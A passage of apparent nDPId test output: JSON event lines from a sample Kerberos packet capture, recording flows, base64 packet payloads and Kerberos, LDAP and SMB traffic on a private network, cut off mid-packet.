+02376{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":211149,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"AAgCHEeupB9ywglqCABFAAXUE2tAAIAGeMesEAgIrBAIyQBYwBNIHXnmqOSkjlAYAQDmlQAAAAAFqG2CBaQwggWgoAMCAQWhAwIBDaMQGw5IQVBQWUNSQUZULk9SR6QYMBagAwIBAaEPMA0bC0pPSE5TT04tUEMkpYIEOGGCBDQwggQwoAMCAQWhEBsOSEFQUFlDUkFGVC5PUkeiJzAloAMCAQqhHjAcGxpqb2huc29uLXBjJEBIQVBQWUNSQUZULk9SR6OCA+wwggPooAMCARKhAwIBAaKCA9oEggPWM37115K3Hp8wZkASHyq+pZzCB52w4ZkoKvxkfuUu0LiaHFeH\/YmBkYuC+Y2vHUb50xj2RvlJ0VUIhZ76+RSlQ21W8ccYNaNUXAdabNdF58x1VLmlxuTxbWyuhApe3nart0yE2ggJlqq+SXunnCj4pybyo3D5UqYJsd2CPwW\/UrYMlNJN1gTQgtBaL+rVhNBO6KW9AYxQ1t3V4\/aN5W98Rm9mtqvqy8JlwwSbsqtA+fkgyuLhaFI64sFXeg2okoVY+WpiV8y69YH3VrH9iOYXgjNBApUv8XW3Inwsdd+FJTBLBvDWG4tGHW9DGxqpa+jzaFQyiDi46S1MFPNG5ax\/fXZRFVyIKm5Uvcg+IVoFoTv79M+o2izKZu3xW5GT3jmX5joC1Jz2cBBvfj31IPUawr97kChTt3baVrRO5jtj4Qe\/Yf9D1ea6AnOL3m9lXfbWlkiRMtogdbiLBmz40fY6y7s2fBoNzUM7PPtzjMCZD+mzFnuxbn6SKFsq1jRXr1gfhz99U\/sj4rpgf0fGzuAji6\/CldJydoJ3ZF35EbOHxlT67B0T5Wdz2DSGMxMFnFTU2y41IZZAFsQkozjJDlJyV\/H3UNEgpsuzFWCdn70SJWivzXQmU387\/5qoLQgDt1DzqhRxVq84eAlKWowli8llAVqtdeTmpgPePJrGuN8afpBvekjwt\/1CNWyg0EdZHQFfl1jlAEsgIyCski92E8xu8mvOhuDWTPYemtkOSb2FcxtoxHDyT\/GouX7ARs1ZykSB8j3R9t9ImA7xedyZ34sFfJFGRcLyx6qpTKqFmVZRuxhX4QxBOD\/ubH8xUJ\/p2KhM0jR1yUcK5cyCfymWcxTybrHYNySjaI0gUlhRAiWvZM8bRaCC8Fvoak+VMcqFAYw\/ve5dkR7KuJ\/TxqmhnlpwuoDkayoCpyiqZLALWWLzMuA+erM0osdjgnLPkazewgaOuGK+L14eoN40NcSEI4LVjIf3MizcDep1bu4x++f34uKnDRQCxEnEkfmry2Kt7UmB9dRWUyMnIhre\/LcHyWzVYKmQzK4jbAZGQz3E7SgAtaF8YpuFzK+wN7Al3\/bnw+mNGEv8UnWesnu6eYSeTafPkSExr0eHjyMGHylq1SYGRDikN47BEUJ9DRohxwo4GIbZJ4SlXZm2o1CyYrdjxESgLw7oBxv5ojM77+mqWLxxRYcXrNOO62jI7OC10ISrQjw9VRI73l6ie75xGP23mwgzTkWksp2AmXFXEibjsoWoxN\/dqkJ1paHMQ4D49jni4b2qEd7LE7wiCkMzEEz1wgpM028xFWhhGKaCASowggEmoAMCARKiggEdBIIBGXjHjK5feQ4HY+O2QW1CcrS7y98xjbx4G5\/F1UdYW0nRFrJ1ea7DBhGVKjGhvpNRa\/suoiAGgMaTxIusGGUQaAV3QBkZHI2P7w3S90dRv87TwzBiyLZFov6Iyju+rGIOEBeNij1u4+ieA37sl1WxkkeY5PDSqYQ0xi5dzSQDh1ZKJZF1swmboJUdCNAO5zs9II914vVd0a+gpHqPPfi\/aa\/2ENYesIfYc445XBAksieN4OCiUuXDZetEyUARPhuFnigdmrFcLiKa7lrUb+XOxw\/TpGzrNeFBj3QXNS06SOOdTL3pwlP77\/SR+78shwDam4sOlgv2UEV2H31TfNEKJs\/OC4Ks1WD8+3srLETa3NVngdje5im6AaSi"} +00605{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_first_seen":1549337931210,"flow_last_seen":1549337931211,"flow_tot_l4_data_len":2924,"flow_min_l4_data_len":1452,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":1462,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49171,"dst_port":88,"l4_proto":"tcp","ndpi": {"proto":"Kerberos","breed":"Acceptable","category":"Network"},"kerberos": {"hostname":"johnson-pc","domain":"happycraft.org","username":""}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1549337931211,"flow_last_seen":0,"flow_tot_l4_data_len":1084,"flow_min_l4_data_len":1084,"flow_max_l4_data_len":1084,"flow_avg_l4_data_len":1084,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49173,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01853{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":211741,"pkt_caplen":1118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1118,"pkt_l4_len":1084,"pkt":"pB9ywglqAAgCHEeuCABFAARQAIFAAIAGjTWsEAjJrBAICMAVAFjnnRKZiyMmn1AYAQD\/uwAADkhBUFBZQ1JBRlQuT1JHoicwJaADAgEKoR4wHBsaam9obnNvbi1wYyRASEFQUFlDUkFGVC5PUkejggPsMIID6KADAgESoQMCAQGiggPaBIID1jN+9deStx6fMGZAEh8qvqWcwgedsOGZKCr8ZH7lLtC4mhxXh\/2JgZGLgvmNrx1G+dMY9kb5SdFVCIWe+vkUpUNtVvHHGDWjVFwHWmzXRefMdVS5pcbk8W1sroQKXt52q7dMhNoICZaqvkl7p5wo+Kcm8qNw+VKmCbHdgj8Fv1K2DJTSTdYE0ILQWi\/q1YTQTuilvQGMUNbd1eP2jeVvfEZvZrar6svCZcMEm7KrQPn5IMri4WhSOuLBV3oNqJKFWPlqYlfMuvWB91ax\/YjmF4IzQQKVL\/F1tyJ8LHXfhSUwSwbw1huLRh1vQxsaqWvo82hUMog4uOktTBTzRuWsf312URVciCpuVL3IPiFaBaE7+\/TPqNosymbt8VuRk945l+Y6AtSc9nAQb3499SD1GsK\/e5AoU7d22la0TuY7Y+EHv2H\/Q9XmugJzi95vZV321pZIkTLaIHW4iwZs+NH2Osu7NnwaDc1DOzz7c4zAmQ\/psxZ7sW5+kihbKtY0V69YH4c\/fVP7I+K6YH9Hxs7gI4uvwpXScnaCd2Rd+RGzh8ZU+uwdE+Vnc9g0hjMTBZxU1NsuNSGWQBbEJKM4yQ5Sclfx91DRIKbLsxVgnZ+9EiVor810JlN\/O\/+aqC0IA7dQ86oUcVavOHgJSlqMJYvJZQFarXXk5qYD3jyaxrjfGn6Qb3pI8Lf9QjVsoNBHWR0BX5dY5QBLICMgrJIvdhPMbvJrzobg1kz2HprZDkm9hXMbaMRw8k\/xqLl+wEbNWcpEgfI90fbfSJgO8Xncmd+LBXyRRkXC8seqqUyqhZlWUbsYV+EMQTg\/7mx\/MVCf6dioTNI0dclHCuXMgn8plnMU8m6x2Dcko2iNIFJYUQIlr2TPG0WggvBb6GpPlTHKhQGMP73uXZEeyrif08apoZ5acLqA5GsqAqcoqmSwC1li8zLgPnqzNKLHY4Jyz5Gs3sIGjrhivi9eHqDeNDXEhCOC1YyH9zIs3A3qdW7uMfvn9+Lipw0UAsRJxJH5q8tire1JgfXUVlMjJyIa3vy3B8ls1WCpkMyuI2wGRkM9xO0oALWhfGKbhcyvsDewJd\/258PpjRhL\/FJ1nrJ7unmEnk2nz5EhMa9Hh48jBh8patUmBkQ4pDeOwRFCfQ0aIccKOBiG2SeEpV2ZtqNQsmK3Y8REoC8O6Acb+aIzO+\/pqli8cUWHF6zTjutoyOzgtdCEq0I8PVUSO95eonu+cRj9t5sIM05FpLKdgJlxVxIm47KFqMTf3apCdaWhzEOA+PY54uG9qhHeyxO8IgpDMxBM9cIKTNNvMRVoYRg="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1549337931211,"flow_last_seen":0,"flow_tot_l4_data_len":262,"flow_min_l4_data_len":262,"flow_max_l4_data_len":262,"flow_avg_l4_data_len":262,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49172,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00742{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":211848,"pkt_caplen":296,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":296,"pkt_l4_len":262,"pkt":"pB9ywglqAAgCHEeuCABFAAEaAINAAIAGkGmsEAjJrBAICMAUAYWVZlyUeqXAF1AYAQAMZQAAADzwgZ4odBCJHRYlGGakwQrZbcEXWu9XXnYRAfBS9UWuXk5Gs8yUHN3o80HZG8YpVlAE6+3ZtDtC+pUsrywDAW4RiWhUhsRgT1sEZ7Vtb++mdY4XtnskLm1\/a8GZzwfpptF0EbEM2x6OOlhhC6IhVJD1Y8p9M\/8ToLfUByDVk8u4C3VF8fyeQ0nd00U5YKsyBV8n8IUXdemUN+fgHev0R3Z+H9FwOZZ3xgduPU1Vapfbai\/N6Y9ZMkNd8RzvF1IldwQMemLuz0F0TTbyd784T8orT0ooc+nzAjFSSfg1FeelCx\/Q2\/iHKtSIZWhWBK\/UpxM="} +00597{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":213235,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"AAgCHEeupB9ywglqCABFAACwE3FAAIAGfeWsEAgIrBAIyQBYwBWLIyaf550WwVAYAQCWAgAAAAAAhH6BgTB\/oAMCAQWhAwIBHqQRGA8yMDE5MDIwNTAzMzg0OVqlBQIDDJwypgMCAQ2pEBsOSEFQUFlDUkFGVC5PUkeqJzAloAMCAQqhHjAcGxpqb2huc29uLXBjJEBIQVBQWUNSQUZULk9SR6wZBBcwFaEDAgEDog4EDLsAAMAAAAAAAwAAAA=="} +00692{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":213237,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6E3RAAIAGfZisEAgIrBAIyQGFwBR6pcAXlWZdhlAYAQAZvwAAMIQAAADMAgEHYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG3yZsLFskNz2Tj8maOz7vLNMVSC3wBerc1xRFPj0GLDPGT9QlZRJav62bndhsIjLkgXNAdSqCa2GR8Luxe5TgJHZoIn44Is8Ku3wpqAc9pR3m8qLfoA6VkyZzzulSM2YJ4KniKJ4c7+rlJkc3DH"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1549337931218,"flow_last_seen":0,"flow_tot_l4_data_len":157,"flow_min_l4_data_len":157,"flow_max_l4_data_len":157,"flow_avg_l4_data_len":157,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49175,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00598{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":218156,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"pB9ywglqAAgCHEeuCABFAACxAI5AAIAGkMesEAjJrBAICMAXAFhuRvAsCoQzw1AYAQDQpAAAiAqFUHJzV5J+NXZTIhoIU8GbmBSxYcQbV4PW+ckPMTgFBw0KsYU9otlYXn6Tyj5\/BmOv8b2TCLvhZTzW6Z3PoLeUqFO88\/fWi+AgP8mYvV1NNCnNorn77cmRI2eXkDk7qLKlgMm4cUN+eWFUE7G2Z1e9ZdF2LM4CSirBRuN96IFr6Z0blZRnqpw="} +00570{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":219086,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"AAgCHEeupB9ywglqCABFAACbE31AAIAGfe6sEAgIrBAIyQBYwBcKhDl3bkbwtVAYAQD\/bQAAzmwvcX+5XppDtJZXr9PwDYLsp98Hk08TTktA1oPPxQHxyFPFFH6C9d30u8d8saioSDapQyKHHyGt004ct60erCJP9bUby12IBGHwYva7Ha2y2bxZxEn3nV+8BQON\/a2dluoxZFHPI4urPpSWS9H8dnzG6Q=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1549337931219,"flow_last_seen":0,"flow_tot_l4_data_len":1451,"flow_min_l4_data_len":1451,"flow_max_l4_data_len":1451,"flow_avg_l4_data_len":1451,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49176,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02354{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":219686,"pkt_caplen":1485,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1485,"pkt_l4_len":1451,"pkt":"pB9ywglqAAgCHEeuCABFAAW\/AJNAAIAGi7SsEAjJrBAICMAYAFg1TYdzLuLg4VAYAQBQtwAAAAAFk2yCBY8wggWLoQMCAQWiAwIBDKOCBRcwggUTMIIE\/6EDAgEBooIE9gSCBPJuggTuMIIE6qADAgEFoQMCAQ6iBwMFAAAAAACjggQ0YYIEMDCCBCygAwIBBaEQGw5IQVBQWUNSQUZULk9SR6IjMCGgAwIBAqEaMBgbBmtyYnRndBsOSEFQUFlDUkFGVC5PUkejggPsMIID6KADAgESoQMCAQKiggPaBIID1hKWdXqL0IxSnZlxRjhHmIFUVS3rvb7i9fEBKrEJ5PVjDXxsAQeDmTL9wweNNg1pCQDRmZ6AE\/m2Y7TGJV\/FdJF\/GLAs\/UE5nC+H+eLE4iuLtnFkH3govXIWXOdlEsqQhROyd4qj2WtH7bxyzZwdtdBzD8HNk\/Zyhfmgmp+oA1+8nXeYYFDFKmqTt9a00HvvmTpJfi0pguIgxY8KmJbF4d1RUkWNuXZ5g7FA43R8i0OyHjh+mwSGoE1gJ\/X8DroluAfskaOHhGVguFx+famY4o8UsY6g4BojHiLERbIlzMsUYRq\/EQf2FuSw8Wc3swODADnnHqoAdpFJG5\/GMQbUUUhsHy5eDXa3\/EPT1ZKqI0bJsr7jOF5G9ytS8thT6E7bOOCcOFN4JNFsCA3bCyRL6jYH2ZedtZMr5yCI40ePAHAaIBbEPTKYDMpCUKxXExG41vrN6dY4CEFLw2Tb4BDinhxjESAIpIw6LOtdRzBrkjiFKjPEj4UBorlhX90DmWgF5dFJbZXz5eOVcZ\/qmOnm8JcuVim8byzO3C2W5go47U+8GNRvk\/iuaoCs18MAuzn4DOtJmgk1eSuxxL9sUZmjkqejNSB6Ny8aYGysoT\/tUR2mS\/10DyxEUb\/M23KvW\/d0nkBg7qCjWXvlLjMDmACl3rd8MXcyqYWqmZcwKWLk5yL3YiZbL90SxemnQHTIY+DWavybHj9SrM5+aINDzqHcDq0aHAhhwNPUOQQH+m0ab759iCYVNaTyITpTWuG6hneFvKoU9d3uSafxpBU5TJfC9PTmhW+\/db+6ouEM0JlNTrwSmfDpaJJPc+gkzn45Pl5k\/7+Abb+s6rWMNfHT+Em3MBbZJYdM0UlQ1xrel8YuJnwOOGyF4x2puehNGP\/\/\/ouwl65KT\/CBdxNVmhdbElBMgwiINySCK0GaA0G8iJuo2p3q21Z3q6PwC\/TBFuSNBvRRaLYdHeXUMMCTZUjjLBHDUqLGGPYiG40kPfZcBzP2U1v\/9gWBK4kWlSfWhwHwDob09dR24nAmYkaTEvrRnFvLOPKhepgPz5FiL+TNVO0x7Q9MEcpXED6nxJ9fgUpL+5AL+5zKjvBqGhTBSFztV5n2jwS9BN5nwKGyQXNwz7M3IugClC01JUeDu8ccEtCesL+sdsbL1EP7jcFCC1EniPRKxntY82esVy8lyQlrXBxmBdMcKVUa21imq65LZV0MJEQvFPcKWd3cpqWETjO2y3rGD5HXk8dwPDck3LvUU56PaEiLP3SNlqGRnDfEXoiRxz6YMXMhdwJMRbqAQJYa71fsqMLgQ4u3s5WkgZwwgZmgAwIBEqKBkQSBjoWrS7jR3\/ZxrmkklAr5M\/UVPgZBz\/I0MBRDSrLAPTWRtuq1ZhbBTvDmh4JfIoeW\/NN+j\/BIs99fVl1IARv5kJzlvsrT0oz2PdU+R8Rl10wOzwJfT7yBOJecNjJCW1XhiL9p6LojffFaim+4jvn\/X89SbhRBqPbpCCF+yHmow+h4iZkD+HM6Jz3YsaIdiuQwDqEEAgIApaIGBAQfAAAApGQwYqAHAwUAYIEAEKIQGw5IQVBQWUNSQUZULk9SR6MjMCGgAwIBAqEaMBgbBmtyYnRndBsOSEFQUFlDUkFGVC5PUkelERgPMjAzNzA5MTMwMjQ4MDVapwYCBE44s3moBTADAgES"} +02370{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":220282,"pkt_caplen":1498,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1498,"pkt_l4_len":1464,"pkt":"AAgCHEeupB9ywglqCABFAAXME4FAAIAGeLmsEAgIrBAIyQBYwBgu4uDhNU2NClAYAQBUPQAAAAAFoG2CBZwwggWYoAMCAQWhAwIBDaMQGw5IQVBQWUNSQUZULk9SR6QYMBagAwIBAaEPMA0bC0pPSE5TT04tUEMkpYIENGGCBDAwggQsoAMCAQWhEBsOSEFQUFlDUkFGVC5PUkeiIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkhBUFBZQ1JBRlQuT1JHo4ID7DCCA+igAwIBEqEDAgECooID2gSCA9aIPBwtNxkshczHziSeGRCcSiSC82vdTNNxZoZEqctTILmi\/cPiWo2kj2ZowTM5BfoTzgngU5zy1dblxSYtNNDo790fqKeln68pSwduOA5ekfZ2omIpLyTKi1Uzi5unXScqqLz0hKSsn\/40+2FcuWZE3ZvPuCmZ8SKPEnuc921KBrNqOj\/0DryAdSyI8er0AkE463j84WxyAtyNQDKDrp2ez6929oR6Rx5hbvL8GdKQY9jCLD2rnICMW89Hj9rOupV1OeH78XxxB7MSKm499oGFFneF9SM8YJwXSSMV673PLXubFj6DMrikD2G0Sl6xic8MhWvEbY+QDRNnfGPZAJvMaahqCk8wVuJCt+fkFop+b4toNRK\/McSX15qS4Oue1FamxPlWb8yeZyA7zxXMdyv\/9YdFl51KW6DMdV\/gNQhWVbNsnpHVbk+dZ3hmZuA13vS+pCaVgYWcY8TsTrrqDHUdvkhYH5y6bQXhaba0hTe8Bpqjtkm6\/RTu4J\/\/NKiUQMb9AOVNXKtDTvIFCVxCzbgDhWofcnihAdfiq3GVUSfoJVIjvbiKN6rurAhxZ5G7eeGZ0k0F7hodA7NNCDg1db\/i3Z0nn0sEe0z7aNhzE0ribx16c5Vcg7SzYKcbmYr2SOlrqyDG2wBIue4c+yHf8w4ERFzFfLLBAoUF6TY9mRoNRbKB\/qSAwbDd52vGpnn87rIVg\/QNGVIwMeb1KKPfdaC4wum+6\/FhZgWd0DbrZEhIXl\/8HN6zG+3ywmGFdeC2DFCmO4dETOrfkL6fl3T\/7ku0etROu1j+k26SXEG6Gge01yPUKju51MrjdtHnDZ1Ss42MB0XlUT6U6S5TlEIP\/8k9d0krm1cn0oRERln+NBIaJS\/B2711LZddv4tje7ItSqfXLacjoI7g80JWdXjf4l7SPcZiNeEbp1dMmXrQFZcbRN17kosEr4Tm2W4friYde8+zbAKqoXvVJXbnxAUwEVAGcV\/iPptIl\/xW9mtB0WPhDmkKXm2SfL9rih8OBbowoKkOmIJqQw8CRJRncVK0szyJok+ajlBHDiJgpcZUT8EmfmEr0qJ0qoMeuCqxs8Kf3IstAtgMR7lMBZda98WMq0J06Prxf9X\/7Sw5XHFF0Ihx2VyWiVN3DmzgADoDdivNlyaD8+Octjfvk+ZwiZGCsRMD1d7AL6HjQzrju4nysDHJIjeaKR52nWtCWAZ87qog1mDH+qjQPdMGkDr1FGrVbBXAZcR0K17tOKTw9bgQg9LvLMWeDMDNCEwvA8GHdr\/fAsBPK3PDKVyht8oNdhjar8xKOZRvwzCOpoIBJjCCASKgAwIBEqKCARkEggEVYp6jTcDi\/gYVd9SDuEsi2VccBape1lXgcuGoeWG1ePxV5NidfJvDEi3F2VmdD04JFUaFb\/GRqNe9F8xWyy86xiJ3eKyJgAfyG7DDQnnFCeKC++4ORaBUkKnIeWwsFqQxh0aL1BrdknGP8u06G6P95r9esj7jUPDXQ1D0+jbs1WpWssKqZMQfUgV0eg9FoEGdVPsUmgNbZN2YPPrxhZ6CEgNOIC\/5aj8NqGMkPPX6xfYF4tbD74dZ3EfC4ry5KcIxNVYXU179as2C\/cihpEMrX8yiZtM91awDzQYUMPKt3\/3WSS96ycQo00pex7Pc1Jh3j49Cr5ckyWXD9SUXbCcOpUpip4\/Jz5Hvsliozjm5inKwUIBTJQ=="} +00605{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":2,"flow_first_seen":1549337931219,"flow_last_seen":1549337931220,"flow_tot_l4_data_len":2915,"flow_min_l4_data_len":1451,"flow_max_l4_data_len":1464,"flow_avg_l4_data_len":1457,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49176,"dst_port":88,"l4_proto":"tcp","ndpi": {"proto":"Kerberos","breed":"Acceptable","category":"Network"},"kerberos": {"hostname":"johnson-pc","domain":"happycraft.org","username":""}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1549337931220,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49174,"dst_port":445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":220307,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"pB9ywglqAAgCHEeuCABFAAELAJhAAIAGkGOsEAjJrBAICMAWAb2ZMOb++YgxIFAYAP+McAAAQFskZ7b1ZYO5\/CuVOTe3ZqHs3nhqe1KXhnlBtJ\/qDgyo+sduQpC\/WLkmAdUvTJdV+CtGiwLoGf3Uio50ZE6gilnFEbzLLhzMIw4gwhRvlYwapNctw4G2EkpKfWO1MgMQ0yTGVxtfwAuP0ouYkDi\/6FI97AzDGvp\/R2LK19PAI403fVWk1Cbb2O\/YPOGH5a8hHowuR6tT8UugHDdGGl\/fWl8Wk4rCdi\/3gOYAhRVI6o2ZOHpv4GeBlLgJ6L2WL35O3jhh2e2dr0Fkd\/WG3ET2QLw9x3WRfncFn29f8nOqAUQDRH0="} +00767{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337931,"pkt_ts_usec":221192,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"AAgCHEeupB9ywglqCABFAAEsE4VAAIAGfVWsEAgIrBAIyQG9wBb5iDEgmTDn4VAYAP9zWgAAAAABAP5TTUJAAAEAAAAAAAEAHwAJAAAAAAAAAAEAAAAAAAAA\/\/4AAAAAAABdAAAAAAQAAPvWvNgjH\/I48OPxOa5H7a4JAAAASAC4AKGBtTCBsqADCgEAoQsGCSqGSIL3EgECAqKBnQSBmmCBlwYJKoZIhvcSAQICAgBvgYcwgYSgAwIBBaEDAgEPongwdqADAgESom8EbUswX\/mwh6g2ztwHi8\/dTRtvFzo0LVENq7tttT0JwVpKoIxijjsysss5HuCbI3DQGU7C0ILmrl+8phtVtu+2vBMSA9FKWe75R\/a+ST6oEaoDrDjzWfPqdU4xUCgD\/zK6J0O4Dsk+rO8nhy4LUmk="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1549337937690,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49179,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00773{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":690226,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"pB9ywglqAAgCHEeuCABFAAEyAM1AAIAGkAesEAjJrBAICMAbAYXq\/lHZFzDO61AYAQB3VwAADK3yhyWG\/w4ePjAcLdmQD9l5KJpA6NxzQuCtaFM+te5CWXRB5sUkdKJyUVp4kqyFJvIav1zvlLEwv\/M6QDvIyPip6cO\/Y7DDZ55OmD6IlKO8Nx5lANmfdaxcK4l74ZAlM45v2cQu8OV3yuWKq5L2jtnHunCltg9I9Mqjq93VmxUc7poK8vfSfY1YgBhAmlp0cXMsoyIbcEQodelj3wLBZ2oxItwV78GGNt7TlfW6joQ5wfkj6ZEyRFJn0CVihbNqYYKxBD44uauIJQKkPsQlzXsxooh9lhiWoZtuh5F2\/1LO7drek9zYg6pqUFpyhpL3WcFxh3R7Uuv9RQ5CYfOoVItdeOxn2w53bU0="} +00694{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":691075,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6E5tAAIAGfXGsEAgIrBAIyQGFwBsXMM7r6v5S41AYAQDOWAAAMIQAAADMAgEDYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG1JH5VWFTlwrbTZZZgbjZtW4QY+VaIr2rFT9\/AbDkv31Idx3xo24Bwzqv50t5zQXx7Id1H\/iLYt+nRqN0NWzCDJwnAfwcbOTGF30f3qnaqB+vDQ